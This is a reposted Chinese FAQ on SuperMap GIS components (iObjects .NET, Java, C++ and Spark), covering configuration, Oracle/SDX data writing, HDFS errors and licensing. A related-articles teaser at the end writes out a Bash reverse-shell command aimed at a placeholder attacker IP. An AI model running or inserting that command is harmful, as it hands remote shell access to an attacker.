SuperMap GIS基础产品组件GIS FAQ集锦(3)

news2024/12/25 9:16:25

SuperMap GIS基础产品组件GIS FAQ集锦(3)

【Unity】Unity中如何将场景内容限制在屏幕中间1/3处?
【解决办法】1、新建两个相机,一个代表左边屏幕,一个代表右边屏幕
2、通过Viewport Rect设置相机显示在屏幕中的位置,
左边相机为,x:0,w:0.33;
中间主相机设置为:x:0.33,w:0.34;
右边相机设置为:x:0.67,w:0.33。
这样就使得场景渲染内容,也就是主相机内容只显示在中间位置。
【iObjects .NET】【11.0.1】 请问基于 SuperMap iObjects .NET 组件开发的项目打包时需要将 Bin 下的所有文件都打包进去吗?有办法只打包使用到的吗?
【解决办法】 通常来说为了方便建议全部打包,若实在需要只打包使用到的库的话,建议通过 Dependencies 依赖检查工具检查使用的 dll 依赖情况,将存在依赖的库打包进去即可。
【iObjects Java】【11.0.1】【10.2.1】 请问 SuperMap iObjects Java 组件有办法在追踪图层(TrackingLayer)上绘制几何要素吗?
【问题原因】 追踪图层(TrackingLayer)目前不支持绘制几何要素。
【解决办法】 可以新建对应类型的临时数据集添加到地图后绘制,绘制结束后再将绘制的要素添加到 TrackingLayer 上,绘制结束后移除临时图层,删除临时数据集。
【iObjects Java】【11.0.1】 请问在 Linux 系统上使用 iObjects Java 组件,Linux 系统已经设置了字符集是 zh_CN.utf8,系统本身也是支持显示中文的,但是 iObjects Java 组件生成的日志中文依然显示乱码是什么原因呢?
【解决办法】 需要将 Linux 系统字符集改为 zh_CN.UTF-8。
【iObject Java】在java组件中打开oracle数据源失败,在同一台电脑中使用相同的参数,iDesktop可以打开oracle数据源,为什么?
【解决办法】是因为IDAE没有读到配置的oracle环境变量,需要在Run/Debug Configuration中找到Environment variables中添加上oracle的环境变量
【iObject Java】客户进行模型拆分,对于同一段代码,使用jdk17,程序崩溃,使用jdk8则可以正常执行,为什么?
【解决办法】如果客户只使用二维功能的话,支持目前最新的19版本,如果客户要使用三维功能的话,建议最高使用JDK1.8版本,JDK1.8之后的版本自带高分屏适配功能,iObjects Java组件目前没有在三维方面进行适配
【iObject for Spark】将数据写出Oracle报错provider is read-only,是什么原因?
【问题原因】JDBC的方式连接目前只支持读取,且只支持Oracle Spatial,其它表读取空间数据会丢失
【解决办法】使用SDX方式写出
【iObject for Spark】如何将数据以SDX方式写出ORACLEPLUS?
【解决办法】可以参考以下代码:
val ORACLE_SDXparams = new util.HashMapString, java.io.Serializable
ORACLE_SDXparams.put(SDXFeatureRDDProviderParams.DBType.key, “ORACLEPLUS”) //数据库类型
ORACLE_SDXparams.put(SDXFeatureRDDProviderParams.Server.key, “172.11.11.111:1521/ORCL”) //数据库服务地址
/ORACLE_SDXparams.put(SDXFeatureRDDProviderParams.DataBase.key, “ORCL”) //数据库库名/
ORACLE_SDXparams.put(SDXFeatureRDDProviderParams.User.key, “user”) //用户名
ORACLE_SDXparams.put(SDXFeatureRDDProviderParams.PassWord.key, “pwd”) //密码
ORACLE_SDXparams.put(FeatureRDDProviderParams.ProviderType.key, “SDX”)
FeatureRDDProviderFactory(ORACLE_SDXparams).save(oracleRDD,ORACLE_SDXparams,“test”)
【iObject for Spark】将FeatureRDD写出到数据库后,在库中找不到对应的表,是什么原因?
【问题原因】这是由于表名和数据集名不一致,导致以数据集名去找表时找不到
【解决办法】找到JAVA组件Bin目录下的SuperMap.xml,修改DTNameTableNameSame节点的值为true,使数据集名和表名保持一致
【iObject for Spark】DSF叠加分析结果是什么类型?
【解决办法】DSF叠加分析生成结果为FeatureRDD,而非DSFFeatureRDD
【iObject for Spark】分批求交的分区数设置多少合适?
【解决办法】该参数将数据分成若干个相对独立的单元,一个单元即为一个分区,在进行求交操作时,就能够对数据进行分批并行计算,数据的分批计算次数=分区数/机器CPU核数。分区数的设置需要根据数据情况及机器内存情况而定,建议设置为源数据和叠加数据几何对象总数除以5千到10万的范围内,例如1千万对象的数据,分区数设置范围为100-2000。当分区数越少,数据分批计算的次数越少,执行时间越短,但内存消耗越多,当内存不够时,可以适量把分区数设置大些,这样每个任务要处理的数据量就会小一些,占用内存就会少些。
【iObject for Spark】使用SDX方式读取ORACLE表报错
FeatureRDD IllegalArgumentException: Invalid dataset type: LINKTABLE,是什么原因?
【问题原因】这是由于该表为业务表,没有超图系统字段
【解决办法】需要使用JDBC方式进行连接读取
【iObject for Spark】使用JDBC方式读取ORACLE表报错
RROR com.supermap.bdt.rddprovider.jdbc.JDBCUtils$ - ORA-00904: “SMID”: 标识符无效,是什么原因?
【问题原因】这是由于分区字段设置错误,表中没有SMID
【解决办法】设置正确的ID字段名称即可
【iObjects .NET】请问一下面中心线的接口在哪?
【解决办法】Generalization.RegionToCenterLine
Generalization :制图综合类。该类提供矢量数据融合、碎多边形合并、双线提取中心线、面提取中心线等制图综合功能。
【iObjects.NET】如何判断当前图层是普通图层还是专题图层?
【解决方案】通过获取Layer.Theme 属性,得到Theme对象,判断如果Theme 为null,那就是普通图层,如果Theme 不为null,就是专题图层
【iObjects.NET】如何控制单值专题图的某一个子项可见不可见?
【解决方案】通过ThemeUnique[索引号].IsVisible属性即可控制,设置为ture即为可见,设置为false即为不可见。但是注意,设置完成后,记得刷新地图Map.Refresh();
【iObjects C++】保存工作空间一直失败,可能是什么原因?
【解决方案】WorkSpace有两种方法保存工作空间:
1、一个save,用于保存已经存在的工作空间,不改变原有的名称,即本身存在*.smwu或者*.sxwu。
需要注意以下两点,否则会存在保存失败的情况:
(1)、在调用save之前需要设置pWorkspack->m_WorkspaceConnection.bFailIfExists = false;
(2)、UGWorkSpace打开工作空间的时候,不能采用直接UGWorkSpace->Open(smwu的文件路径)。需要创建UGWorkspaceConnection ,然后设置对应的参数的形式去打开工作空间,否则也会导致失败,UGWorkspaceConnection 的参数设置可以参考以下第2条。

2、另外一个是SaveAs,另存工作空间,即需要重新生成一个*.smwu或者*.sxwu。SaveAs方法中需要填参数:UGWorkspaceConnection,参数必须设置完整,下面是文件型工作空间其中必填的属性参数: UGWorkspaceConnection wscon; wscon.m_strServer = _U(“C:/ceshi.smwu”); wscon.m_nWorkspaceType = UGWorkspace::UGWorkspaceType::WS_Version_SMWU; wscon.m_nVersion = m_pWorkSpace->GetVersion(); UGbool bSuc = m_pWorkSpace->SaveAs(wscon);
【iObjects.NET】使用recordset.geometry修改了对象以后,发现Dataset的的bounds没有变化,该如何解决?
【解决办法】可以调用代码DatasetVector.ComputeBounds ()方法,对数据集重新计算范围即可。
【iObjects.NET】如何获取某条线段的中间点?
【解决方案】geoline.FindPointOnLineByDistance (geoline.Length /2) ,在线上以线长度的一半去找点,得到的点集为线段的中间点、
【iDesktopX】打开工作空间后,向UDBX数据源中新增数据集时,保存工作空间后,第二次打开发现新数据集未保存,请问该如何解决?
【问题原因】UDBX数据源是可以同时打开,并获取其中的数据,但是不能去编辑。
【解决办法】只在希望的程序中打开UDBX数据源,关闭其他程序的占用就能够正常编辑数据了
【iObjects.NET】iObject,NET中如何提取点到线上的最近点?
【解决方法】通过使用ProximityAnalyst.ComputeMinDistance 方法可以实现最近距离计算。
求算“被计算几何对象集合”中每一个对象到“参考记录集”中在查询范围内的所有对象的距离中的最小值(即最近距离)
,并将最近距离信息返回到距离计算结果数组中。
【iObjects.NET】含导洞的矢量面进行拆分,拆分后吧导洞也拆出来了,应该如何解决?
【解决方法】拆分时使用GeoRegion.ProtectedDecompose方法进行拆分。 面对象保护性分解。区别于组合对象将子对象进行简单分解,保护性分解将复杂的具有多层岛洞嵌套关系的面对象分解成只有一层嵌套关系的面对象。
【iObjects.Java】使用Java组件开发无界面程序,如何获取Map对象?
【解决办法】1.首先通过WorkspaceConnectionInfo打开工作空间workspace,然后通过workspace获取地图字符串xml,maps.getMapXML(String name);
2.初始化一个map对象,然后通过map.fromXML()构造
【iObjects.Java】使用Java组件如何创建内存数据源?
【解决办法】使用DatasourceConnectionInfo设置连接参数
DatasourceConnectionInfo info = new DatasourceConnectionInfo();
info.setServer(“:MEMORY”);
info.setEngineType(EngineType.MEMORY);
info.setAlias(“test”);
workspace.getDatasources().create(info);
【iObject Java】iObject Java生成地图缓存,加载到桌面中可以看到地图,发布UGCV5服务,预览不到地图
【解决方案】查看Java组件生成的.sci可以看到Bounds节点下全为0,这种加载到桌面可以出图,但是发布服务不行。需要在生成地图缓存时设置地图缓存的地理范围。贴图
在这里插入图片描述

【Spark组件】iObjects for Spark产品在数据读写方面支持greenplum集群 的支持情况怎么样?
【解决办法】
1、bdt数据写入greenplum集群时,不支持jdbc方式写入,否则报错 Caused by: org.postgresql.util.PSQLException: ERROR: currval() not supported
2、bdt数据写入greenplum集群时,支持sdx方式写入,但是不支持分块写入参数,否则会崩溃。
【Spark组件】iObjects for Spark产品在读取矢量数据时,当数据存在脏数据时如何进行过滤,比如有些记录的空间字段为空时?
【解决办法】
可以通过空间函数和谓词下推,在数据库层面过滤。
params0.put(JDBCFeatureRDDProviderParams.Predicates.key, Array(“shape IS NOT NULL AND st_isvalid(shape)”))
【Spark组件】iObjects for Spark产品使用yarn集群,将255w数据以dsf格式写入hdfs系统时报错如下:failed to create_file because this file lease is currently owned by dfsclient_nonmapreduce,怎么解决?
【问题原因】
写小数据量没问题。大数据量才会出现该问题,是因为hdfs写文件是多进程写,不同hdfs client写文件时需要申请文件锁,也就是hadoop的lease租约机制。由于写的数据量大,hadoop yarn集群默认在task任务的map或reduce阶段开启了预测机制来分配资源或进程,进而导致文件写时导致文件输出流异常关闭,客户端进程无法创建文件。
当出现数据倾斜时,mapreduce 阶段会出现掉队者,掉队者是指那些跑的很慢但是最终可以执行成功的任务。此时 mapreduce 的推测机制会生效,可以识别那些跑的任务比较慢的任务,但是不会清理掉队者的任务,而是会产生另一个等效的任务作为备份,并使用首先完成的那个任务的结果,这种技术称为推测执行(speculative execution)。
这种机制是为了保证 mapreduce 的执行效率,但是当操作 hdfs 文件时,如果出现同时写操作,hdfs 的 lease 管理员是不允许同时被两个写入程序占用的。
【解决办法】
将mapred-site.xml配置文件里的mapreduce.map.speculative和
mapreduce.reduce.speculative参数的值均改为false,重启hadoop即可解决。
【Spark组件】iObjects for Spark产品在读写分析结果时,怎么用行内变量等特性来保持名称不变?
【解决办法】
行内变量用%来引用变量,用#来调用变量的属性。示例如下:
–server=%rastersaveassdx.RasterRDD% --dbType=udbx --alias=sichaun --dataset=%rastersaveassdx.inputs.outputDatasetName#name%
【Spark组件】iObjects for Spark产品中如何使用web型的licc正式许可啊?
【解决办法】

  • spark standalone模式和yarn-client模式
  1. 安装web许可中心软件,配置web许可,对外提供web许可服务。需要objects for spark模块。
  2. 在spark集群节点机器配置系统环境变量 BSLICENSE_SERVER=ws://ip:9183 或者 在代码里设置System.setProperty(“BSLICENSE_SERVER”,“ws://ip:9183”)
  3. bdt程序里不需要做啥,运行后在日志能看见正常打印。
  • yarn-cluster模式
    1.在spark-default.conf设置spark.yarn.appMasterEnv.BSLICENSE_SERVER=ws://ip:9183,或者在spark-submit 设置–conf spark.yarn.appMasterEnv.BSLICENSE_SERVER=ws://ip:9183。这样driver端才能读取到变量。
  • web许可原理。
    spark app的driver端通过BSLICENSE_SERVER变量,通过websocket通信去动态接入许可中心,并申请分配许可。driver端得到许可后,worker节点均不需要许可了。app执行完后,就断开连接,web许可中心回收许可。一套许可同一时间只能一个app占用。因为许可与driver进程绑定的。所以要同时运行多个app就需要多套许可。
    能不能连上web许可就在程序里通过System.getProperties()和System.getenv()把变量和属性都打印出来看看有没有BSLICENSE_SERVER变量。因为bdt底层就从这两个里面获取变量再去连接web许可的。
    【Java组件】iObjects for Java产品部署在linux完检查依赖库,如报错提示/supermap-idesktopx-10.1.2-0330-5260-86195-linux64-bin-chs/bin/libnss3.so: version `NSS_3.52’ not found (required by /lib64/libssl3.so)类似的,如何解决?
    【解决办法】
    删除组件自带的库:先查找so库看看哪些目录下有,然后把冲突库删掉,删除组件自带的比如
    rm -rf Bin/libnssutil3.so
    rm -rf Bin/libnss3.so
    【iObject java】java组件放到tomcat里面运行缺库,提示缺少dll
    【问题原因】缺少环境变量
    【解决办法】需要在tomcat的xml配置文件中添加组件环境变量,如set “path=E:\iobj1110-102518\Bin”
    【iObject java】许可驱动安装失败,提示找不到var/lib/dbkg/status
    【问题原因】系统缺少对应的软件安装程序
    【解决办法】更换支持dbkg等安装管理软件的系统
    【iObject java】有iObjects Java 态势推演的示例的吗
    【解决办法】暂时没有这个范例,但是实现该功能使用的是先用
    AnimationGroup.addAnimation(AnimationGO pAnimation)分组中添加动画的方法向分组中添加动画,该类可以管理动画分组,实现动画的增删;AnimationGO则是具体的动画,可用用来设置动画的一系列属性,主要是用AnimationGO.setGeometry(java.lang.String geometryUuID)设置添加动画的cad数据集中的Geometry对象,之后就是播放时间,起止时间等等属性,接着就是AnimationManager.play()方法进行播放,AnimationManager是动画管理类。该类提供了动画管理类的一系列功能

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/684006.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

南卡OE Pro首销售罄,发烧友称其为开放式耳机旗舰标杆!

6月19日南卡官博放出消息,南卡旗下的开放式旗舰机型OE Pro首销售罄,开启预售,将在24日早上10点整再次现货发售,不难看出这款开放式耳机非常火爆,非常受欢迎,被广大发烧友们誉为开放式耳机的旗舰标杆&#x…

会 java 8 stream流就会大数据!

如果你会任意一门语言的stream流,没道理不会大数据开发。 俗话说男追女隔座山,女追男隔层纱。 如果说零基础学大数据,感觉前面是一座山,那么只要你会java或者任意一门语言的stream流,那大数据就只隔了一层纱。 本文以…

内网隧道代理技术(七)之Bash反弹shell

Bash反弹shell Bash介绍 Shell也称为终端或壳,是人与内核之间的翻译官,而Bash则是Linux中默认使用的Shell Bash 反弹Shell的命令如下: bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&1 bash -i >&/dev/tcp/攻击机_IP…

【博客676】VictoriaMetrics缓存限制之:布隆过滤器

VictoriaMetrics缓存限制之:布隆过滤器 1、场景 VictoriaMetrics的vmstorage组件接收上游传递过来的指标,在​​现实场景中,指标的数量级或者瞬态指标可能会非常可怕,如果不限制缓存的大小,就会存在由于缓存导致插入速…

模拟电路系列分享-运放的关键参数4

目录 概要 整体架构流程 技术名词解释 1.定义 2.优劣范围 3.理解 技术细节 1.压摆率 1.定义∶ 2.优劣范围 3.理解︰ 2.单位增益带宽 1.定义∶ 2.优劣范围︰ 3.理解∶ 小结 概要 提示:这里可以添加技术概要 例如: 实际运放与理想运放具有很多差别。理想…

jumpserver【基本使用教程】

目录 目录 【1】管理用户 【2】系统用户 【3】普通用户 【4】添加资产(可以添加的有:服务器、网络设备、数据库应用) 【5】权限划分 【6】验证(使用普通用户登录资产) 【7】查看是否有记录 【8】添加数据库资产…

2023全球智博会奏响AI产业发展的四重共振

2023年6月25日为期三天的第五届全球人工智能产品应用博览会(简称“全球智博会”)在苏州国际博览中心盛大启幕。金鸡湖畔汇聚院士专家、领军智囊、顶尖企业,为人工智能关键技术突破、产业化创新应用、科技产品研发落地、经济深度融合等方面提供…

解密EEMD分析:Rlibeemd包带你玩转信号分解和时间序列预测

一、简介 1.1 什么是EEMD? EEMD(Ensemble Empirical Mode Decomposition)是一种信号分解方法,它旨在分解非线性、非平稳或非白噪声的信号,以揭示复杂信号的局部特征和周期性成分。EEMD不同于传统的余弦变换、小波变换等线性变换…

按键控制蜂鸣器实验

目录 按键控制蜂鸣器实验 1、简介 2、实验任务 3、程序设计 3.1、顶层模块代码 3.2、按键消抖模块代码 3.3、蜂鸣器控制模块代码 4、仿真验证 5、板上下载验证 5.1、硬件设计 5.2、添加约束文件.xdc 5.3、板上下载验证 按键控制蜂鸣器实验 蜂鸣器(Buzze…

微机保护主程序框图原理

微机保护主程序框图如图2-5所示。 一、初始化 “初始化”是指保护装置在上电或按下复位键时首先执行的程序,它主要是对单片微机(CPU)及可编程扩展芯片的工作方式、参数的设置,以便在后面的程序中按预定方案工作。例如…

荨麻疹【指南共识】

慢性自发性荨麻疹达标治疗专家共识(2023) 参考文献:中华医学会皮肤性病学分会, 中国医师协会皮肤科医师分会. 慢性自发性荨麻疹达标治疗专家共识(2023)[J]. 中华皮肤科杂志,2023, e2…

在React+ts中集成高德地图(保姆级教程)

前往高德地图开发平台高德开放平台 | 高德地图API 一:申请高德key 去高德官网去创建一个属于自己的地图应用 (得到key和秘钥) 。 首先,我们要注册一个开发者账号,根据实际情况填写,身份写个人:…

LwIP系列(3):以太网帧、IP、TCP、UDP、IGMP、ICMP帧格式详解

前言 TCP/IP 本质上是软件协议,而LwIP也是对软件协议进行解析处理,所以我们有必要了解下以太网帧、IP、TCP、UDP、IGMP、ICMP帧格式,这样在代码中,才能有的放矢。 以太网帧框架 以太网帧是最底层的原始数据,帧框架如…

Linux用户密码管理

密码复杂度设置 之前写过一篇文章,通过编辑/etc/pam.d下的配置文件来信hi先密码复杂度设置。 这里介绍另一种方法,使用authconfig名来配置。 如果没有安装该软件,输入如下命令安装: yum install authconfig -y 设置方法如下: authconfi…

力扣动态规划专题(六)编辑距离与回文问题 步骤及C++实现

文章目录 392. 判断子序列动态规划双指针 115.不同的子序列583. 两个字符串的删除操作方法一方法二 72. 编辑距离647. 回文子串动态规划双指针 516.最长回文子序列 392. 判断子序列 动态规划 步骤 确定dp数组以及下标的含义 dp[i][j] 表示以下标i-1为结尾的字符串s&#xff0c…

Json数据 通用提取工具 Web版

问题来源 楼主使用Golang 实现了一款通用型 JSON 数据提取工具,支持自动识别 JSON 数据节点并有序提取为 CSV 文件。 看到大家有这样的评论,顺手实现下,~~ 尴尬的是搞完了 ,发现 这个论坛注册不足15天,不能回复评论。晕…

迅为RK3568开发板系统编程手册全新升级

iTOP-3568开发板C应用编程手册全新升级,《iTOP-RK3568开发板系统编程手册》旨在帮助刚入门的用户进行入门规划和学习,为系统编程基础指导手册。 第1部分 系统编程初探 第1章 系统编程初探 1.1 什么是系统编程 1.2 系统编程的作用 1.3 系统调用和C语言库函…

R语言使用xlsx包、安装包的经验以及切换工作目录的方法

R语言使用xlsx包 首先不同于读取txt和csv文件,R语言读取xlsx文件需要安装xlsx包 使用下面命令进行安装xlsx install.packages(“xlsx”) 安装过程非常顺利,需要附带安装其它几个包。如果安装出现错误,可以尝试切换网络,使用手机热…

2-css-1

一 CSS 初体验 CSS 定义:层叠样式表 (Cascading Style Sheets,缩写为 CSS),是一种样式表语言,用来描述HTML文档的呈现(美化内容) CSS 书写在什么位置? title 标签下方哪个标签里面…

2-css-5

一 定位 1 认识 作用:灵活的改变盒子在网页中的位置 实现: 定位模式:position边偏移:设置盒子的位置 left right top bottom 2 相对定位 position: relative 特点: 不脱标,占用自己原来位置显示模式…